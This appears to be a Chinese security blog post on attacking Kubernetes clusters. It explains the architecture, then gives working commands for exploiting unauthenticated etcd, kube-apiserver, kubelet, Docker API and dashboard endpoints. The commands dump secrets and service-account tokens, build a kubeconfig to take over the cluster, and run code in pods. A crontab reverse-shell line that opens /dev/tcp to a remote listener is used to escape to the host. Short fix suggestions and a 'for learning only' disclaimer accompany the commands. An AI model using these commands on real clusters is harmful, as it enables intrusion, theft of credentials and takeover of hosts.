• Kubernetes(k8s)集群渗透


    一、简介

    Kubernetes,又称为 k8s,是一种可自动实施Linux容器操作的开源平台,可以帮助用户省去应用容器化过程的许多手动部署和扩展操作,也就是说,它可以将运行 Linux 容器的多组主机聚集在一起并轻松高效地管理这些集群。

    二、优势

    • 服务发现与调度

    • 负载均衡

    • 服务自愈

    • 服务弹性扩容

    • 横向扩容

    • 存储卷挂载

    三、相关术语

    主机(Master): 用于控制 Kubernetes 节点的计算机。所有任务分配都来自于此。

    节点(Node):负责执行请求和所分配任务的计算机。由 Kubernetes 主机负责对节点进行控制。

    容器集(Pod):被部署在单个节点上的,且包含一个或多个容器的容器组。同一容器集中的所有容器共享同一个 IP 地址、IPC、主机名称及其它资源。容器集会将网络和存储从底层容器中抽象出来。这样,就能更加轻松地在集群中移动容器。

    复制控制器(Replication controller):用于控制应在集群某处运行的完全相同的容器集副本数量。

    服务(Service):将工作内容与容器集分离。Kubernetes 服务代理会自动将服务请求分发到正确的容器集——无论这个容器集会移到集群中的哪个位置,甚至可以被替换掉。

    Kubelet:运行在节点上的服务,可读取容器清单(container manifest),确保指定的容器启动并运行。

    kubectl: Kubernetes 的命令行配置工具

    四、架构

    架构图: 

    k8s集群由Master节点和Node(Worker)节点组成

    Master节点(主节点)

    Master节点指的是集群控制节点,管理和控制整个集群,基本上k8s的所有控制命令都发给它,它负责具体的执⾏过程。在Master上主要运⾏着:

    1. Kubernetes Controller Manager(kube-controller-manager):k8s中所有资源对象的⾃动化控制中⼼,维护管理集群的状态,⽐如故障检测,⾃动扩展,滚动更新等,管理控制器。

    2. Kubernetes Scheduler(kube-scheduler): 负责资源调度,按照预定的调度策略将Pod调度到相应的机器上,“调度室”。

    3. etcd:保存整个集群的状态。

    Node节点(计算节点)

    除了master以外的节点被称为Node或者Worker节点,可以在master中使⽤命令 kubectl get nodes查看集群中的node节点。每个Node都会被Master分配⼀些⼯作负载(Docker容器),当某个Node宕机时,该节点上的⼯作负载就会被Master⾃动转移到其它节点上。在Node上主要运⾏着:

    1. kubelet:负责Pod对应的容器的创建、启停、修改、删除等任务,同时与Master密切协作,实现集群管理的基本功能。

    2. kube-proxy:实现service的通信与负载均衡,提供代理。

    3. docker(Docker Engine):Docker引擎,负责本机的容器创建和管理

    4. Pod:是k8s最基本的操作单元。一个Pod代表着集群中运行的一个进程,它内部封装了一个或多个紧密相关的容器。

    5. Fluentd:主要负责日志收集、存储与查询。


     

    五、风险面

    k8s集群主要由以下组件组成:

    1)kube-apiserver:k8s master节点api服务器,以REST API服务形式提供接⼝,作为整个k8s的控制⼊⼝。

    2)kube-controller-manager:执⾏整个k8s的后台任务,包括节点状态状况、Pod个数、Pods和Service的关联等。

    3)kube-scheduler:接收来⾃kube-apiserver创建Pods任务,通过收集的集群中所有node节点的资源负载情况分配到某个节点。

    4)etcd:k8s的键值对形式数据库,保存了k8s所有集群数据的后台数据库

    5)kube-proxy:运⾏在每个node节点上,负责pod⽹络代理。定时从etcd获取到service信息来做相应的策略。

    6)kubelet:运⾏在每个node节点上,作为agent,接收分配该节点的pods任务及管理容器,周期性获取容器状态,反馈给kube-apiserver

    漏洞点主要是在上面提到的重点组件内:

    kube-apiserver、kubelet、etcd、dashboard、docker、kube-proxy

    组件

    常用端口

    脆弱点

    备注

    kube-apiserver

    6443、8080

    未授权访问

    节点API服务器

    kubelet

    10250(https)、10255

    未授权访问

    etcd

    2379

    未授权访问

    数据库

    docker

    2375

    未授权访问

    dashboard

    30000+

    认证绕过CVE-2018-18264

    未授权

    k8s的Web管理接口:未做鉴权,直接操作集群

    kube-proxy

    配置错误

    cadvisor(k8s的监控)

    4194、8080

    未授权

    利用细节

    etcd - 未授权访问

    etcd是⼀个key-value数据库,为k8s集群提供底层数据存储。

    未授权访问:数据库敏感内容若无加密处理,会被攻击者加以利用,甚至控制整个集群

    修复建议:通过 --client-cert-auth 开启证书校验,开启访问控制

    1. #检测利用
    2. http://IP:2379/version
    3. http://IP:2379/v2/keys #有v2和v3两个版本
    4. http://0.0.0.0:2379/v2/keys/?recursive=true

    etcdctl 工具地址

    1. ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only #遍历所有的key
    2. ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only # --insecure-transport --insecure-skip-tls-verify 忽略证书校验
    3. ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only | sort |
    4. uniq | xargs -I{} sh -c 'ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379
    5. get {} >> output.data && echo "" >> output.data'
    6. #通过v3 API来dump数据库到 output.data(输出格式:一行key+一行value
    7. ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only|sort|uniq|
    8. grep secret # 查找secret相关keys
    9. # 通过 get /registry/secrets/default/admin-token-557l2 拿到 token

    dump下etcd,定位 apiserver 和 所有证书;  检索关键字 advertiseAddress | kubeAPIConfig 定位 apiserver的地址

    使用curl 访问api server,确认token是否正确可用;

    curl --header "Authorization: Bearer TOKEN" -X GET https://API_SERVER:6443/api -k

    token错误,返回401

    { "kind": "Status", "apiVersion": "v1", "metadata": {}, "status": "Failure", "message": "Unauthorized", "reason":"Unauthorized", "code": 401}

    token正确,返回

    { "kind": "APIVersions", "versions": [ "v1" ],"serverAddressByClientCIDRs": [ { "clientCIDR": "xxxx", "serverAddress":"xxxx" } ]}

    执⾏kubectl config命令,来⽣成简单的临时配置⽂件

    1. touch test_config kubectl --kubeconfig=./test_config config set-credentials hacker --token=TOKENkubectl --kubeconfig=./test_config config
    2. set-cluster hacked_cluster --server=https://IP:6443/  --insecure-skip-tls-verifykubectl --kubeconfig=./test_config config set-context
    3. test_context --cluster=hacked_cluster --user=hackerkubectl --
    4. kubeconfig=./test_config config use-context test_context # 生成临时配置文件

    通过该配置文件访问api server,达到控制k8s集群的目标:

    1. brew install kubectl # mac安装kubectl
    2. kubectl --kubeconfig=./test_config get nodes -A #管控集群

    扩大权限,使用kubectl 导出所有secret,利用优于etcd

    1. kubectl --kubeconfig=./test_config get secret -A -o custom-columns=:.metadata.name,:.metadata.namespace --no-headers | xargs -n 2 sh
    2. -c '(kubectl --kubeconfig=./test_config get secret -n $3 -o yaml $2; echo
    3. "") >> all_secrets_yaml.txt' -- {}

    Kube apiserver - 未授权访问

    k8s api server 存在未授权访问,攻击者可通过kubectl创建恶意pod或控制已有pod,后续可逃逸至宿主机

    修复建议:使用安全端口替代8080端口,并使用 --tls-cert-file参数

    直接访问:http://ip:port/,回显接口信息

    访问 http://ip:8080/api/v1/namespaces/kube-system/secrets/ 拿到token

    创建kubectl配置⽂件,指定⽬标地址和拿到的token等

    1. kubectl--kubeconfig=./test_config get pod -n kube-system -o wide
    2. # 通过kubectl使⽤kube-system的token获取pod列表。之后可进⼀步创建pod或控制已有pod进⾏命令执⾏等操作
    1. curl –insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H “X-Stream-Protocol-Version: channel.k8s.io” -X POST “https://IP:10250/exec/namespace/podID/containername? command=touch&command=/tmp/test&input=1&output=1&tty=1"
    2. kubectl -s ip:8080 get node # 获取节点
    3. kubectl -s 127.0.0.1:8080 get pods # 获取Pods
    4. kubectl -s 127.0.0.1:8080 --namespace=default exec -it nginxfromuzju-
    5. 59595f6ffc-p8xvk bash #执行命令

    PS:较高版本的k8s,需要获取service-account-token,通过访问api来获取token

    /api/v1/namespaces/kube-system/secrets/

    获取宿主机权限-通过k8s dashboard,创建特权Pods

    1. echo -e "* * * * * /bin/bash -i >& /dev/tcp/0.0.0.0/1234 0>&1" >> /mnt/etc/crontab
    2. # 然后通过dashboard创建pod并挂在宿主机的任意⽬录;然后写crontab获取shell

    Kubelet - 未授权访问

    k8s node对外开启10250(kubelet API)和10255端⼝(readonly API),攻击者可创建恶意pod或控制已有pod,后续可尝试逃逸⾄宿主机

    修复建议:

    1. readOnlyPort=0:关闭只读端⼝(默认 10255);

    2. authentication.anonymous.enabled:设置为 false,不允许匿名访问 10250 端⼝;

    3. authentication.x509.clientCAFile:指定签名客户端证书的 CA 证书,开启 HTTP 证书认证;authentication.webhook.enabled=true:开启 HTTPs bearer token 认证

    curl http://ip:10250/pods 

    使用kubeletctl 批量获取pod等信息:

    ./kubeletctl pods -s x.x.x.x

    可使⽤kubeletctl在特权pod内执⾏命令,挂载宿主机根⽬录,通过向宿主机批量写⼊ssh公钥逃逸到宿主机

    k8s dashboard认证绕过(CVE-2018-18264)

    攻击者可跳过登录,直接进⼊dashboard web⻚获取pod和job等状态,并可创建恶意pod,尝试逃逸⾄宿主机

    修复建议:关闭dashboard的--enable-skip-login

    登录页面选择跳过登录 -> 可通过dashboard获取pod、node和job等状态

    若业务配置错误或为了⽅便给 Kubernetes dashboard 绑定 cluster-admin等⻆⾊,攻击者可直接在界⾯上创建特权 pod 进⾏容器逃逸

    docker - 未授权访问

    攻击者可利用对外暴露的docker remote api,执行docker命令

    修复建议:⽣成证书进⾏api校验:docker -d --tlsverify --tlscacert=ca.pem--tlscert=server-cert.pem--tlskey=server-key.pem-H=tcp://x.x.x.x:2375-H unix:///var/run/dock

    curl http://ip:2376/version		#可获取docker版本等信息

    通过调用docker未授权接口,创建特权容器,挂载宿主机根目录;后续可通过写入ssh公钥和crontab等,完成逃逸和持久化

    kube proxy 配置错误

    攻击者可通过kube-proxy代理来未授权访问本地kube-apiserver组件,创建恶意pod或控制已有pod,后续可尝试逃逸⾄宿主机

    修复建议:kube-proxy禁⽌对外直接使⽤--address=0.0.0.0参数

    该漏洞⼀般为业务或开发为了⽅便,通过kubectl proxy --address=0.0.0.0命令,将kube-apiserver暴露到0.0.0.0,且默认未授权之后请求8001端⼝即可未授权访问kube-apiserver;后续可按照kube-apiserver未授权进行处理。

    仅供学习使用!!

    参考

    什么是Kubernetes (Kube) ? 一文了解K8s是什么_红帽

    k8s架构与组件详解 - 知乎

    什么是K8S - 知乎

    K8s简介之什么是K8s

    https://copyfuture.com/blogs-details/20210616193408465N

    k8s对外攻击面总结 - 哔哩哔哩

    10分钟看懂Docker和K8S_Seven7707的博客-CSDN博客

  • 相关阅读:
    pytorch基础语法问题
    SmartDialog迁移至4.0:一份真诚的迁移说明
    Android耗电量测试
    软件工程导论 黑盒测试、白盒测试
    JavaScript 垃圾回收机制
    MAUI新生-XAML语法基础:语法入门Element&Property&Event&Command
    HashMap中的put()和get()的实现原理
    问题-vue预览页面导出
    SPL比SQL更难了还是更容易了?
    前端VUE---JS实现数据的模糊搜索
  • 原文地址:https://blog.csdn.net/weixin_45253622/article/details/126563876